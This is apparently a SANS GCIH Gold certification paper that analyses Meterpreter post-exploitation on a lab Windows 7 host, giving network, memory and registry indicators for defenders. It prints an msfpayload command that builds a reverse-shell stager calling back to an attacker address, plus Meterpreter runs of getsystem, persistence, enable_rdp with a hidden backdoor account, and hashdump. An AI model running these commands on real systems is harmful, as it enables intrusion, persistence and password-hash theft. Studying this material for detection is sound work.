An Analysis of Meterpreter during Post-Exploitation

Kiel Wadner
An Analysis of Meterpreter during Post-Exploitation

GIAC (GCIH) Gold Certification

Author: Kiel Wadner, wadnerk@gmail.com
Advisor: Richard Carbone
Accepted: Oct 10, 2014

Abstract

Much has been written about using the Metasploit Framework, but what has received minimal attention is an analysis of how it accomplishes what it does. This paper provides an analysis of the post-exploitation activity of a Meterpreter shell on a compromised Windows 7 system. Areas looked at include the characteristics of the stager and payload, fingerprinting the HTTP C2 and beaconing traffic, finding Meterpreter in memory, and several post-exploitation modules that could be used. By focusing on what occurs instead of how to accomplish it, defenders are better equipped to detect and respond.
1. Introduction

Much has been written about using the Metasploit Framework to gain access to systems, utilizing exploits, and the post-exploitation modules. What has received less attention is how they work, what they actually do on the system and how it can be detected. That is the focus of this research paper. Specifically, the use of Metasploit’s Meterpreter shell after access is gained to a Windows 7 system.

According to the Penetration Testing Execution Standard (PTES, 2014) the purpose of post-exploitation is to “determine the value of the machine compromised and to maintain control of the machine for later use. The value of the machine is determined by the sensitivity of the data stored on it and the machine’s usefulness in further compromising the network.” Post-exploitation is a broad area of an attack but is often a penetration tester’s end goal. The Metasploit Framework is one toolset that provides support for post exploitation activities, making it a good candidate for study. This paper covers four areas during its analysis. The first area looks at the stager that loads the Meterpreter shell, the characteristics of the stager, and the Meterpreter DLL. The second area shows one way to identify the Meterpreter shell in memory. The third area looks at modules used during escalation and keeping access. The last area presents a few modules for gathering data about the compromised machine.

Behavioral analysis of Meterpreter was aided by utilizing different virtualized environments. Using VMs allowed snapshots to be taken to repeat steps quickly and to test theories. A combination of manually reviewing behavior and automated sandboxing was used. A Cuckoo SandBox system\(^1\) provided a view of what occurred in user-space while Blue Coat’s Malware Analysis Appliance provided a deeper view of system events at the kernel level\(^2\). Since Metasploit is open source, the official GitHub\(^3\) repository was often consulted to review the code directly.

\(^1\) http://www.cuckoosandbox.org/
\(^2\) https://www.bluecoat.com/products/malware-analysis-appliance
\(^3\) https://github.com/rapid7/metasploit-framework

Kiel Wadner, wadnerk@gmail.com
2. Staging Meterpreter

Meterpreter is more than a command-line shell and offers many advantages, the foremost being additional functionality and ease of use. It has a large collection of built-in commands and many of the Metasploit modules rely on Meterpreter instead of a command shell. In the Metasploit architecture, Metasploit is a payload that is delivered to the target by a small stager. A stager is a small program whose purpose is to download additional components or applications.

The stager can be delivered in different ways. To limit the research scope, an executable with the stager embedded into it was copied to the target system and executed. This could simulate a user opening an infected PDF, a drive-by attack utilizing a Java exploit, or any method that allows an attacker’s code execution on a system. Further, the executable was run by the Administrator account on a Windows 7 system, with the UAC bypass accepted. This allowed the Meterpreter process to have admin rights without resorting to a local exploit to escalate the privileges. The Meterpreter shell was set to use either a reverse HTTP(S) or reverse TCP connection. A reverse connection is one that comes from the compromised host to the C2 server. This behavior is more likely to get through a firewall then an attacker’s server initiating the connection.

2.1 Looking at the Stager

Analysis began with the stager, which was created by the msfpayload utility shown below. This command will embed a Metasploit payload into several formats including code such as C and JS as well as executables and DLLs. The stager executable is small, just over 70K, regardless of the transport method selected.

```
root@kali:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.36.128 LPORT=9002 X >
./payloads/meterpreter_reverse_tcp.exe
```

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {
"LHOST"=>"192.168.36.128", "LPORT"=>"9002"}

When embedding the payload into an executable, an existing one can be used (notepad.exe, sol.exe, InstallFlash.exe), but if one is not provided an appropriate, default
template is selected for the target architecture. There is only one template for each system type, which can be found on the Metasploit GitHub page\(^4\). The payload can also be obfuscated with *msfencode* to make it harder to detect. Even using three rounds of the *shikata ga nai* (one of the more popular encoders), the stager was detected. Figure 1, shows the VirusTotal detection hits for the stager without encoding. Oddly, none of the products provide a name related to Metasploit. Kaspersky uses a generic heuristic name but does describe it as a Trojan. McAfee chooses *Swrort*, as does Microsoft, Sophos and a few others. Sophos provided an analysis of a “*Swrort*” sample – md5: 1300ee30f93ba11e531486075fab5207dddc4303 that looks remarkably like a Meterpreter stager explored below (Sophos, 2010).

\[\text{Figure 1: VirusTotal hits for the stager}\]

The fact that AV detection of the stager is good shows it should not be counted on. Back in 2008 Mark Baggett wrote a paper entitled “Effectiveness of Antivirus in Detecting Metasploit Payloads” (Baggett, 2008) which nicely outlined how ineffective AV was even then. This has remained mostly true, and in August 2014 John Strand moderated a webcast (Strand, 2014) that showed AV bypasses are still quite easy. Understanding the characteristics of the stager and its behavior will go further for identification than only trusting AV names.

\[\text{\textsuperscript{4} https://github.com/rapid7/metasploit-framework/tree/282633fd9d869ac7b99bb646fa97734b73d3dad3/data/templates}\]

Kiel Wadner, wadnerk@gmail.com
An ad hoc, static analysis via VirusTotal shows the stager pretending to be an Apache server tool for benchmarking as shown in Figure 2. It is an interesting choice as the Apache benchmarking tool has a pretty niche market, and the Metasploit team is still using the old 2.2 version from 2009. As such, it is not a file that is likely to have widespread distribution across organizations.

Figure 2: VirusTotal File Identification

Left, looking at the strings embedded in the program hints that the template is more than just PE header information.

Figure 3: Stager Strings

2.2 Establishing Connection

Metasploit contains several different options for delivering the Meterpreter shell and for its own communication channels. Popular options are HTTP(S) and raw TCP. Both were investigated during the research, but the HTTP option is explored next. Using HTTPS does provide an encrypted channel; but by using a trusted proxy, it could have been decrypted (Blue Coat, 2014). Using such trusted proxies is becoming more common in corporate environments, so inspecting the content is not far fetched. Decryption is not
necessary; as Erik Hjelmvik noted, the certificates used by the Metasploit could be identified by some non-standard characteristics (Hjelmvik, 2011). The advantage of using HTTP(s) is disguising it as normal traffic in an environment and more easily navigating corporate egress filtering (Moore, 2014). It is well known, and Mandiant re-iterated (Mandiant, 2011) that attackers commonly use ports 443 and 80 for that reason.

When the stager is executed, the first task is to download the Meterpreter DLL. This action would be the same if the user was opening an infected PDF, or hit by a Java web vulnerability. The fingerprint for this is a GET request to a 4-character path directly off the domain; no file specified. Unlike most legitimate requests, a User-Agent is not included, and the only HTTP headers sent are Connection and Cache-Control. This should standout in network logs if your organization is participating in network security monitoring. In a previous paper, this author suggested User-Agent anomaly detection as a good way to identify unwanted software and malware on a network (Wadner, 2013), and this is another example of that.

```
GET /gyE7 HTTP/1.1
Host: 192.168.118.130:9002
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 769536

MZ....[REU. .............Wh...P...h.*
h...P. ............................!...L. !
```

Figure 4: Wireshark Following TCP Stream

The response has minimal clues, but the Server identification is odd. Often an Apache server will include version information, although that is not a requirement.

### 2.3 The Received File

The file received is a 751.5KB DLL containing the reverse HTTP Meterpreter payload that will be injected into memory. It can be extracted either with Wireshark or a tool like foremost (details later).

The hashes for this payload will vary each time it is delivered but unless it is encoded, it will have a very similar fuzzy hash. Two examples with ssdeep are shown below where the differences have been highlighted.

Kiel Wadner, wadnerk@gmail.com
It’s worth reiterating that these are from a payload that was not encoded. However, it is possible that an attacker will use some form of encoding. Another option is to identify possible samples with import hashing. Import hashing (imphash) has been used in different forms for years, but Mandiant brought more attention to it in 2014 (Mandiant, 2014). This process hashes the library imports of the PE file as a way to identify related samples. Since unrelated samples could include the same imports, false positives are expected.

The import hash for the reverse HTTP Meterpreter shell DLL is 2f878f698d2b435eb56e486c511c0301. Searching for this imphash on VirusTotal resulted in an interesting result as shown in Figure 5.

Figure 5: Sample VirusTotal results for HTTP based Meterpreter DLL

As of Sept 5, 2014, fifty-one samples shared the same imphash and only three were not within 1KB of the original sample. It is not certain that all were reverse HTTP
Meterpreter shells, but it is very plausible. There were no samples before June 2014 (four months prior to the time of this writing), which could indicate something has changed in Meterpreter. This value can be used to identify DLLs on a compromised host by extracting a sample from memory or from a network capture on your network. However, given the lack of older samples using this imphash value, it is expected that the value will change again.

This same process can be applied to the stager itself. Searching for the TCP Meterpreter stager’s imphash found over half a million samples as of Sept 2, 2014. A cursory glance showed that most are around the same size (72.1 KB) thereby supporting a case that they are closely related.

### 2.4 HTTP Ping and Command Communication

When introduced in 2011, the HTTP(S) reverse Meterpreter shells were a large departure from the TCP methods (Moore, 2011). Unlike with the TCP shells, HTTP Meterpreter transports do not rely on a single connection and use a typical server/client with many short HTTP connections. To understand this communication method, traffic was recorded, and the `getuid` Meterpreter command was issued, which simply returns the machine and user names.

When reviewing PCAPs, a good first step is to look at the conversation list to understand who the participants are. A snippet of the conversations that occurred after the initial payload was delivered is shown in Figure 6. This is using Wireshark’s Statistics > Conversations view. A pattern should jump out immediately. Several times in a single second the compromised host (192.168.118.129) sends 5 packets (872 bytes) to the attacker’s system at 192.168.116.130. The response is also 5 packets and approximately 477 bytes. Consistent conversations like this are a sign that beaconing is occurring.

![Figure 6: TCP conversation list showing HTTP beaconing](image-url)
With a closer look at a single conversation the HTTP POSTs suggest more is occurring than just beaconing. By following the TCP stream in Wireshark, the conversation data can be better understood as shown in Figure 7:

The first packet from the victim (.129) is logically a request, even though it is sent as an HTTP POST. It does not have an HTTP body and in this instance, receives no content. Unlike when the stager was downloading the Meterpreter shell, the beacons do include a User-Agent, albeit one for MSIE 6.1. MSIE 6.1 has so many vulnerabilities it should be assumed the host is compromised with no other information to go on!

Again, the responding server is identified only as “Apache” with no version information. This pattern of a POST and 0-length response will continue until the user issues a command in the Meterpreter shell. When that happens a command name and other data is included in the response body. Remember, the response is coming from the attacker’s system, so that is where requests logically originate.
Several empty beacons will occur while the command is run before the response is included in the POST body, which had been used for the beaconing. The same command name and numeric value from the previous response will be included.

![Figure 10: HTTP conversation showing command response in POST to server](image)

This process continues for the life of the session. If the attacker closes the Meterpreter shell on their end, a close command is issued before a FIN ACK is sent. This allows detecting a graceful exit by the attacker.

![Figure 11: HTTP conversation showing the shutdown command being issues to Meterpreter](image)

The beaconing and C2 methods are consistent for all the commands looked at when a HTTP(S) transport is used. This fingerprint can be valuable for network detection, and by utilizing a trusted proxy, the impact of SSL encryption is reduced in networks or network segments where that visibility is critical. This allows a security team utilizing network security monitoring principles to potentially have a record of commands issued. These commands will be key when discussing memory detections shortly.

The Meterpreter HTTP(S) beaconing process is very noisy and fairly easy to identify. Key items to look for are:

- Several empty POSTS per second to the same target server;

Kiel Wadner, wadnerk@gmail.com
• POSTs occur to a path that has 4 random characters, an underscore followed by a longer random string;
• POSTs are identified as coming from IE 6.1;
• Host previously had a GET request to a random 4-character path and no user-agent specified;
• Target server is identified simply as “Apache”.

2.5 TCP Communication

The Meterpreter reverse TCP connection protocol is not covered in depth, but it should still be mentioned. The stager downloads the Meterpreter DLL in the clear and can be extracted with a tool such as foremost, the output of which is shown below. This also means an IDS/IPS should still be able to detect it. An executable transferred over a raw TCP connection should peak the interest of an IR team.

```
root@kali:~$ foremost -i reverse_tcp.pcap
Processing: reverse_tcp.pcap

root@kali:~$ file output/dll/00000000.dll
output/dll/00000000.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
```

Figure 12: Showing the foremost command extracting a DLL from a PCAP

According to the Metasploit Unleashed training (Offensive Security, 2014), Meterpreter will setup a TLS/1.0 connection for the rest of the communication. Underneath, it uses a type-length-value (TLV) protocol, which Matt Miller covers in his 2004 paper (Miller). Although some of the information is dated, the protocol section is still relevant for readers interested in more details.

3. Finding Meterpreter in Memory

A key strength of the Meterpreter payload comes from not being saved to the hard disk, which avoids artifacts that are persisted, unless of course the process is swapped out of RAM. When the payload is downloaded it is saved only to RAM, and from there it is migrated to other processes as required. This technique is called Reflective DLL Injection, which is beyond the scope of this paper. Steven Fewer’s paper, Reflective DLL Injection, is a great source for more information on how this works (Fewer, 2008) despite its age.
As memory forensics has become more widespread, the advantage of not writing to the disk has lessened. Performing a system memory dump and basic analysis can determine if Meterpreter was in memory at the time, and what processes were infected.

Analysis was done with the Volatility framework (v. 2.3.1), which is a free, popular and very powerful memory analysis tool. During the HTTP communication analysis, it was mentioned that the desired commands are sent from the server to the client. It is looking for these strings in memory that provide evidence of the Meterpreter shell. It is worth pointing out that this works whether HTTP(S) or TCP Meterpreter transports are used.

Running the `strings` and `grep` commands directly on the memory image shows the artifacts, indicating Meterpreter existed, but it doesn’t show which processes are compromised. Knowing the processes can help in further incident response and requires only a bit more work. The first step is to run the `strings` command with the `-o` option. The `-o` option prints an offset to its location in the image, which Volatility can use to map to a process. The mapping is done with the “strings” Volatility module, which takes a file with the offset and string delimited by a space or colon. This mapping process can take a while depending on the size of the memory image.

This memory image was taken just after the Meterpreter shell connected back and before any commands were run. The first number between the right bracket and colon is the process id, often called the PID. There appears to be two processes infected - PID 1656 and PID 2440. By running the `pslist` Volatility module, the process names can be found. In this case Explorer, and the SearchIndexer as shown below:

Kiel Wadner, wadnerk@gmail.com
Figure 15: Volatility "pslist" plugin to find infected processes

Notice that Volatility reports the parent process explorer.exe, not just reverse_tcp.exe. Another way to narrow down the suspect process is with Volatility’s malfind plugin. In the Art of Memory Forensics (Ligh, Case, Levy, Walters, 2014, pp. 258), the authors point out that the reflective DLL injection used by Meterpreter meets the criteria for malfind. The criterion, in this case, is a private memory region that is read, write, and executable as well as containing a PE header or CPU instructions. Not everything found with the malfind plugin is malicious, but it does provide a starting place.

Figure 16: Volatility's "malfind" showing the process with Meterpreter injected in it
A more technical explanation of finding Meterpreter in memory with the use of Mandiant’s Memoryze tool is Peter Silberman’s 2009 Blackhat presentation (Silberman, 2009). It is worth a read for those with an interest in memory forensics and care about things like VADs and EPROCESS structures.

Now that identifying Meterpreter on both the network and in memory has been covered, attention turns to some of the Metasploit post-exploitation modules that an attacker might run from a Meterpreter session.

**4. Escalation and Keeping Access**

Once an attacker has access to a system, there are two likely actions taken: to increase their level of access and to make sure they can keep that access. The Meterpreter shell being explored does not persist by default, so an attacker needs to take additional actions.

The target VMs used during the analysis were Windows 7 64-bit systems, either with or without SP1 installed. The possibility exists that the patch level could affect some of the results, but is not believed to have done so. Future patches could change the results. User Access Controls were either disabled prior, or the warning accepted depending on the system. This made analysis simpler and in a real world scenario an attacker can work to disable UAC or rely on social engineering to have the user bypass it themselves. The user account executing the payload is an Administrator, which is not uncommon in many environments. Escalation from a non-admin account can occur through various exploits so this does not make the setup unreasonable. However, analysis of that escalation was outside the scope of this research.

**4.1 Looking at current permissions**

Once access is gained it is likely an attacker will use one of several methods to determine the access level that they have. This allows them to know what further action is need. One way to do this is with the `win_privs` command as shown next:

```ruby
meterpreter > run post/windows/gather/win_privs

Current User
============
```

Kiel Wadner, wadnerk@gmail.com
Windows Privileges

---

Name

- SeBackupPrivilege
- SeChangeNotifyPrivilege
- SeCreatePagefilePrivilege
- SeDebugPrivilege
- SeIncreaseBasePriorityPrivilege
- SeIncreaseQuotaPrivilege
- SeLoadDriverPrivilege
- SeManageVolumePrivilege
- SeProfileSingleProcessPrivilege
- SeRemoteShutdownPrivilege
- SeRestorePrivilege
- SeSecurityPrivilege
- SeShutdownPrivilege
- SeSystemEnvironmentPrivilege
- SeSystemProfilePrivilege
- SeSystemtimePrivilege
- SeTakeOwnershipPrivilege
- SeUndockPrivilege

The top section indicates that the Meterpreter process is running with Administrator but not SYSTEM access and that User Access Controls are still enabled. The list of privileges provides granular knowledge of what capabilities are granted to the process owner’s account. This would change as Meterpreter is migrated to processes owned by different accounts.

Metasploit uses the IsUserAnAdmin system function to determine if it is running as an administrator. UAC will be enabled if the HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System enablelua value is equal to 1.

### 4.2 Getting System

The getsystem command can seem to have certain magical properties at first glance. Type a single command, and BOOM the attacker has SYSTEM level access! In truth it is not that magical, and on patched versions of Windows it might not work, and it

Kiel Wadner, wadnerk@gmail.com
requires the Meterpreter process to already have Administrator permissions. An attacker will want SYSTEM level access to run several of the post exploit modules covered, as well as other tasks. For example, it is required to use the \texttt{steal\_token} command, which allows them to impersonate any other account that is currently running a process.

There are three different methods that \texttt{getsystem} can use, which are show in the help text below. All three methods rely on Meterpreter already running with Administrator access to create a service or inject into an already running service (Mudge, 2014). If running on Vista or later elevation through UAC needs to have also occurred.

\begin{verbatim}
meterpreter > getsystem -h
Usage: getsystem [options]

  Attempt to elevate your privilege to that of local system.

  OPTIONS:

    -h        Help Banner.
    -t <opt>  The technique to use. (Default to '0').
              0 : All techniques available
              1 : Service - Named Pipe Impersonation (In Memory/Admin)
              2 : Service - Named Pipe Impersonation (Dropper/Admin)
              3 : Service - Token Duplication (In Memory/Admin)

\end{verbatim}

The first two (1 and 2) utilize Windows named pipes, which are a method for processes to communicate with each other that are either on the same system or via the network. Pipe impersonation is a feature of Windows (Microsoft, n.d.) that allows a process to run under a different context. The last one (3) uses the SeDebugPrivilege which can “adjust the memory of a process owned by another account.” (Microsoft, n.d.)

Method one will run the \texttt{cmd.exe} executable as SYSTEM and connect to the service by echoing the service name to the named pipe. The named pipe can then impersonate the connecting processing (which is running as SYSTEM). Once that has occurred Meterpreter’s thread token is updated with the impersonated one (Rapid7, 2013).

The second method, (2) will leave an artifact on the disk because the service is spawned by creating and running a service DLL via rundll32.exe. This DLL is saved in

Kiel Wadner, wadnerk@gmail.com
the temporary directory. It is unlikely a legitimate program will run DLLs from that location, so it should raise a yellow flag for an incident response team.

The last method requires the SeDebugPrivilege and is limited to the x86 architecture. So, although it can exist entirely in memory and does not have a command artifact such as cmd.exe or rundll32.exe, its usefulness is limited.

At some point during an attack, it is likely the attacker will want to maintain access, or interact with the system more. There are many ways to do this, but two are covered next. The first involves basic persistence for the Meterpreter session. The second is turning on RDP for the compromised system.

4.3 Persistence

Meterpreter has a core command called persistence that can help an attacker get back in. It utilizes a VBS script, that can run either when the system boots or when the user logs on. The backdoor that is setup does not require any authentication and can be reconnnected simply by starting a handler at the location it is looking for. The command will also create a script to remove the backdoor when the attacker is done. However, the script is only deleted so hard drive forensics might be able to recover it.

In testing the VBS script was 145KB and saved to the user’s AppData/Local/Temp directory. The sample was uploaded to VirusTotal on Sept 5, 2014 and had only 16/55 detections with several of the notable vendors missing it at the time. None of the detected vendors identified it as being Metasploit related and chose either a generic detection or the name “Barys”. The script contains a single encoded function in a loop that sleeps for the length of time it waits before attempting to reconnect.

Looking with SysInternal’s Process Explorer shows this is similar to the default payload - specifically the description and company name. The string values for the image show the same template is being used.

![Figure 17: SysInternals Process Explorer showing the Meterpreter persistence script running](image)

5 sha256: 61205869bb804c78487e9ec0a1e3bc70f9e724e628e7294a4e04a9a22e2339a2

Kiel Wadner, wadnerk@gmail.com
Unlike when embedding a payload, these values are not easily changed. The fact that this tool should not be running under `cscript.exe` is a red flag. If the attacker selected to start the agent when the user logs in, an entry is added to the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` registry location. If they selected at system boot it is in HKLM and the same path. This process will attempt to call back every X seconds, which is configurable. The default period is 5 seconds, which should be somewhat obvious in network logs.

### 4.4 RDP

Meterpreter is very powerful, but sometimes having access to a user interface can be very helpful. For this, Metasploit has a post-module that enables the RDP service, and if desired creates another user. An example from the attacker’s point of view is below.

```
meterpreter > run post/windows/manage/enable_rdp USERNAME=root PASSWORD=pass123

[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ... [*]
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: root with Password: pass123
[*] Adding User: root to local group 'Remote Desktop Users'
[*] Hiding user from Windows Login screen
[*] The following Error was encountered: TypeError can't convert nil into String
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20140905205756_default_192.168.118.129_host.windows.cl_e_012344.txt
```

In this case, Meterpreter ran into an error running the command on the lab environment. By reviewing the code, it's possible to see this occurred because an expected
A Defender’s View of Meterpreter Post Exploitation | 19

registry key did not exist.

```python
def_code = "print_status \"Hiding user from Windows Login screen\"
hide_user_key = \'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\User\registry_setvaludata(hide_user_key,username,\'"REG_DWORD")
file_local_write(dest,\"reg deleteval -k HKLM\SOFTWARE\Microsoft\Windows\NT\CurrentVersion\"
print_status \"Adding User: #{username} to local group \"#{admin}\"
    cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
```

Figure 19: Code sample of "enable_rdp" Metasploit module

The code looks for a “SpecialAccounts” path but that entry does not exist by default on Windows 7 systems. Further, since the module crashed, the user was not added to the local Administrator’s group, leaving the account stranded as a standard user. This is a case where an attacker’s tools do not always work as expected and can leave artifacts that they do not want. Had they not noticed the error and left the session there would be an obvious trace of their access the next time the user went to sign in.

Now that access has been secured, focus moves to five modules that help an attacker uses to gather additional information about the system. In reality these steps might occur before the persistence and escalation steps above. This will be for certain if they are needing to use an exploit to get additional access.

5. Gathering Data

The focus of this section is to provide a high-level understanding of how Metasploit modules are used within the Meterpreter shell to gather data. However, the specific forensic techniques to detect this activity after the fact are not dealt with. As, as was covered in the command control section, if an HTTP(S) transport is used the specific commands and the command responses can be observed.

Kiel Wadner, wadnerk@gmail.com
5.1 Running services

The *ps* command works very similar to the *ps* command on *nix based systems, showing what processes are running. The screenshot below shows one of the persistence backdoors that was previously covered running. Metasploit console will send the command `stdapi_sys_process_get_processes`, when the user requests the process list. When Meterpreter receives this command it will attempt to gather processes three different ways, though on modern systems the first option will usually work.

![ps command output](image)

Figure 21: Running the "ps" command in Metasploit

The primary method involves using the `Process32Next` system call (Microsoft, n.d.), which is part of the Tool Help Library found in the standard Kernel32.dll. According to Microsoft, the library is designed to “make it easier for you to obtain information about currently executing applications. These functions are designed to streamline the creation of tools, specifically debuggers.” (Microsoft, n.d.) These are not functions that would be used by “normal” applications. During analysis of a sample (for example through a sandboxing technology), seeing their use should raise suspicions.

5.2 Checking for Virtual Environment

Many system environments employ virtualization so an attacker may be interested in determining this to tailor their attack, not just avoid a researcher’s lab. The module to test this in Meterpreter is called `checkvm` and has very simple output as follows.

```
meterpreter > run post/windows/gather/checkvm

[*] Checking if TIMRANDAL-PC is a Virtual Machine ..... 
[*] This is a VMware Virtual Machine
```

Kiel Wadner, wadnerk@gmail.com
There are many different ways to detect if a system is a VM but the most common ways involve looking for registry keys and running processes, which is the method used by this module. These detections are not unique to Meterpreter as traditional malware is also known to look for them. Most normal applications do not check or care about a virtual environment so this behavior raise suspicion. The `checkvm` has tests for the six major virtualization platforms: Hyper-V, Virtual PC, VirtualBox, Xen, Qemu, and VMWare. But the values checked have a lot of overlap.

- `'HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion'`
  Looking for values containing “virtual”, “vmware”, and “vbox”

- `'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'`
  Looking for values containing “qemu”, “vbox”, and “vmware”

- `'HKLM\SYSTEM\ControlSet001\Services'`
  Iterates installed services for the guest tools installed by each of the vm systems

- `'HKLM\HARDWARE\ACPI\FADT, or \DSDT, or \RSDT'`
  Looking for “VBOX__”, “VIRTUAL”, and “Xen”

- `'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'`
  Looking for CPU identifiers containing “qemu”

It is not practical to observe real-time registry access on a production system but it can be useful to determine what is occurring either in an automated sandbox, or manual analysis of a suspect sample with a tool such as RegShot. Knowing common VM detection techniques also allows an incident response team to customize their lab environments to minimize detection – if that is their desire.

### 5.3 Enumerating Applications

The value of a system can be partially determined by what software is installed. For example, if Skype is installed it could indicate chat logs, and QuickBooks indicates there is probably accounting information. Knowing what applications are installed can
also aid in finding a local exploit. That is where the *enum_applications* module comes in, and since it does not require Administrator privileges it is a perfect stepping stone.

![meterpreter ENUM APPLICATIONS](image)

Figure 22: Snippet of enumerating applications installed on the system.

This simple module looks for installed applications in four registry settings, and then queries for additional information on each entry:

- **HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall**
- **HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall**
- **HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall**
- **HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall**

Only looking at these registry keys indicates that an attacker will only find programs that are installed in the “normal” fashion and have been added to the registry.

### 5.4 Dumping Password Hashes

One very valuable piece of data to gather from a system are the password hashes for Windows accounts. This allows the possibility of gaining access to other accounts, on the compromised system and potentially others through password cracking. One-way Metasploit provides for this is through the *hashdump* gather module. An example run is shown.

Kiel Wadner, wadnerk@gmail.com
The first step that occurs is a call to \texttt{getsystem}. This is because SYSTEM access is required to dump the hashes. A logical question is, “Why dump the hashes if you already have SYSTEM?” Possible reasons are to use a compromised account on another system, to be able to re-login as a different user as a form of persistence, or to discover passwords that are shared across systems or applications.

This module gathers the information from the registry in five steps. The paper, \textit{Unveiling The Password Encryption Process Under Windows – A Practical Attack}, provides a great in-depth understanding of how Windows encrypts the passwords and a possible attack (OPREA, 2013). The following summary is derived from that paper, and the \texttt{hashdump} source code. The hashes on newer Windows systems are derived and stored in an encrypted form in an attempt to make it more difficult to extract them. However, the process to decrypt the hashes is fairly well known in the industry and the Metasploit code is seen in several different projects. The first step is to retrieve the boot key, also known as the SYSKEY, which is used as part of the password encryption. This 16-byte value is split between four registry values. Looking at the behavioral analysis, we see the four keys were opened:

-\begin{verbatim}
Opens key: HKLM\system\currentcontrolset\control\lsa\jd
Opens key: HKLM\system\currentcontrolset\control\lsa\skew1
Opens key: HKLM\system\currentcontrolset\control\lsa\gbg
Opens key: HKLM\system\currentcontrolset\control\lsa\data
\end{verbatim}
The next step involves calculating what the module refers to as the *hbootkey*. This intermediate value is used to decrypt the user hashes from the SAM. Now that the needed pieces are known, the list of users, and their information is gathered. This behavior can be seen in a series of registry key reads. A snippet of the activity is shown:

Opens key: HKLM\SAM\SAM\Domains\Account
Opens key: HKLM\SAM\SAM\Domains\Account\Users
Opens key: HKLM\SAM\SAM\Domains\Account\Users\000001f4
Opens key: HKLM\SAM\SAM\Domains\Account\Users\Names
Opens key: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Hints\Admin
Opens key: HKLM\SAM\SAM\Domains\Account\Users\Names\Administrator
Opens key: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Hints\Administrator
Queries value: HKLM\SAM\SAM\Domains\Account\Users\000001f4[f]
Queries value: HKLM\SAM\SAM\Domains\Account\Users\000001f4[v]
Queries value: HKLM\SAM\SAM\Domains\Account\Users\000001f4[userpasswordhint]

A list of user names is found in the HKLM\SAM\SAM\Domains\Account\Names, hive location and under each name is a folder with a hex value such as 0x1f4. This is the Relative Identifier (RID) and maps to the hex values (such as 00001f4) under \account\users for a specific user. The password hints are returned as well which can provide a clue to the password or other information about the user.

The F and V keys for a user return binary data about the user (Clark, 2005). The F key is a fixed length of 80 bytes and contains information such as last logged in, invalid password count, and password expiration. This can be useful when an attacker wants to find an account that has been idle for a while and perhaps forgotten. The V key is variable length and includes the more useful bits of information. This includes user name and the LM and NT hashes. These are the values the *hashdump* module is interested in.

As seen at the bottom of Figure 23, the output is in familiar format.

6. Conclusions

This research paper presented an analysis of Meterpreter’s use during post-exploitation. By looking at how it works, instead of how to use it, the belief is readers
will be better equipped to both operate and defend against it. In the realm of targeted attacks, or with skilled penetration testers, it is plausible Metasploit and Meterpreter will not be used “as is”. It will likely be heavily modified, or custom tools leveraged instead of (or along side) Metasploit. What is the value then in studying the stock Meterpreter, or Metasploit Framework? First, they will be used in attacks. They are powerful tools that allow a lot to be accomplished quickly, and it is expected they will continue to improve. Second, they are excellent case studies to understand hacker techniques – both offensively and defensively. While it is true attackers may change the specific operation of an exploit or module, key points remain. For example, no matter what code is used to dump password hashes they will still be retrieved from the same location.

Red Teams can be good (and perhaps lucky) using tools without understanding how they work, but they won’t ever be able to adapt when things don’t go according to script. Blue Teams can build layered defenses that work at times, but without understanding how an attack operates they won’t be able to anticipate new types of attacks or see the weaknesses of their defenses. As an analogy, a builder in the 12th century England may design a castle with thick and strong walls, but if they didn’t understand and account for a belfry (siege tower) their defenses are weak. It’s by understanding the weaknesses of a belfry that allows an adequate defense to be constructed.

The Metasploit project is entirely open source which allows anyone who wants to take the time, to stumble through the code and understand what actions take place. Ruby, for the most part, is friendly to newcomers. There is also a wealth of incident response and forensic tools available to observe what occurs in real-time, and what artifacts are left behind. This allows experimentation and a good way to hone offensive and defensive skills at the same time. As behavioral analysis systems continue to gain traction more information security professionals will have one easily at their disposal. Such systems can greatly speed up the process of knowing what occurs.

The research for this paper barely touched on the areas that can be explored. It is the author’s hope the research presented here will motivate others to also spend time dissecting Metasploit and its modules. There is a wealth of information to be found and shared that is specific to Metasploit but also to attacker techniques and incident response.
References


Kiel Wadner, wadnerk@gmail.com


Kiel Wadner, wadnerk@gmail.com


## Upcoming SANS Training

Click here to view a list of all SANS Courses

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Munich July 2019</td>
<td>Munich, DE</td>
<td>Jul 01, 2019 - Jul 06, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SEC450 Security Ops-Analysis Beta 1</td>
<td>Crystal City, VAUS</td>
<td>Jul 08, 2019 - Jul 13, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Pittsburgh 2019</td>
<td>Pittsburgh, PAUS</td>
<td>Jul 08, 2019 - Jul 13, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2019</td>
<td>Austin, TXUS</td>
<td>Jul 25, 2019 - Aug 01, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Riyadh July 2019</td>
<td>Riyadh, SA</td>
<td>Jul 28, 2019 - Aug 01, 2019</td>
